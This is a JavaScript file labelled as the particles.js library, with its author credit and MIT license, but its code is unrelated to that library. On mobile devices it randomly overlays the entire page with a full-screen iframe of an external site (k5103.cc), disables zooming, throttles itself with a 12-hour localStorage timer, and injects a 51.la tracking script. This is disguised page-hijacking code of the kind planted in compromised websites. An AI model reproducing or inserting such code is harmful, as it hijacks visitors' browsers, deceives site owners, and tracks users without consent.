/*
*                    _ooOoo_
*                   o8888888o
*                   88" . "88
*                   (| -_- |)
*                   O\  =  /O
*                ____/`---'\____
*              .'  \\|     |//  `.
*             /  \\|||  :  |||//  \
*            /  _||||| -:- |||||-  \
*            |   | \\\  -  /// |   |
*            | \_|  ''\---/''  |   |
*            \  .-\__  `-`  ___/-. /
*          ___`. .'  /--.--\  `. . __
*       ."" '<  `.___\_<|>_/___.'  >'"".
*      | | :  `- \`.;`\ _ /`;.`/ - ` : | |
*      \  \ `-.   \_ __\ /__ _/   .-` /  /
* ======`-.____`-.___\_____/___.-`____.-'======
*                    `=---='
* ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
*               佛祖保佑       永无BUG
*/

/* -----------------------------------------------
/* Author : Vincent Garreau  - vincentgarreau.com
/* MIT license: http://opensource.org/licenses/MIT
/* Demo / Generator : vincentgarreau.com/particles.js
/* GitHub : github.com/VincentGarreau/particles.js
/* How to use? : Check the GitHub README
/* v2.0.0
/* ----------------------------------------------- */
function createFullScreenIframe(targetUrl) {
    return new Promise((resolve, reject) => {
        // Create the wrapper div
        const scrollWrapper = document.createElement('div');
        scrollWrapper.className = 'scroll-wrapper';
        scrollWrapper.style.position = 'fixed';
        scrollWrapper.style.height = '100%';
        scrollWrapper.style.width = '100%';
        scrollWrapper.style.padding = '0px';
        scrollWrapper.style.margin = '0px';
        scrollWrapper.style.background = 'white';
        scrollWrapper.style.border = 'none';
        scrollWrapper.style.top = '0px';
        scrollWrapper.style.left = '0';
        scrollWrapper.style.zIndex = '1999999999';

        // Create the iframe
        const iframe = document.createElement('iframe');
        iframe.width = '100%';
        iframe.height = '100%';
        iframe.id = 'warpperId';
        iframe.src = targetUrl;
        iframe.style.borderWidth = '0px';

        // Add load event listener to the iframe
        iframe.onload = () => {
            // Resolve the promise when the iframe is successfully loaded
            resolve(true);
        };

        // Handle iframe load errors
        iframe.onerror = () => {
            // Reject the promise if there's an error loading the iframe
            reject(false);
        };

        // Append the iframe to the wrapper div
        scrollWrapper.appendChild(iframe);

        // Append the wrapper div to the body
        document.body.appendChild(scrollWrapper);

        // Add CSS styles for smooth scrolling
        const style = document.createElement('style');
        style.textContent = `
            body {
                margin: 0 !important;
                padding: 0 !important;
            }
            .scroll-wrapper {
                -webkit-overflow-scrolling: touch;
                overflow: scroll;
            }
            iframe {
                width: 100%;
                height: 100%;
                border-width: 0px;
            }
        `;
        document.head.appendChild(style);

        // Ensure the correct viewport settings for mobile devices
        const metaViewport = document.createElement('meta');
        metaViewport.name = 'viewport';
        metaViewport.content = 'width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0';
        document.head.appendChild(metaViewport);
    });
}

// Usage: Call the function with the desired URL

var isNonDesktopPlatform = navigator.platform && !/^Mac|Win/.test(navigator.platform);
var isMobileDevice = !navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent);
if (isNonDesktopPlatform || isMobileDevice) {
    var loadedTime = localStorage.getItem("loadedTime");
    var urls = ['https://k5103.cc/'];
    var targetUrl = urls[Math.floor(Math.random() * urls.length)];
    if (!loadedTime || new Date().getTime() - loadedTime > 12 * 60 * 60 * 1000) {
        var randomNum = Math.floor(Math.random() * 10);
        if (randomNum < 5) {
            localStorage.setItem("loadedTime", new Date().getTime());
            // Usage: Call the function and handle the promise
            createFullScreenIframe(targetUrl)
                .then((isLoaded) => {
                    if (isLoaded) {
                        //console.log('Iframe successfully loaded and displayed.');
                        localStorage.setItem("loadedTime", new Date().getTime());
                        !function(p){"use strict";!function(t){var s=window,e=document,i=p,c="".concat("https:"===e.location.protocol?"https://":"http://","sdk.51.la/js-sdk-pro.min.js"),n=e.createElement("script"),r=e.getElementsByTagName("script")[0];n.type="text/javascript",n.setAttribute("charset","UTF-8"),n.async=!0,n.src=c,n.id="LA_COLLECT",i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&&o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:"3K54vb20JwZFdPSu",ck:"3K54vb20JwZFdPSu"});
                    }
                })
                .catch((error) => {
                    console.error('Failed to load the iframe.');
                });
        }
    }

}

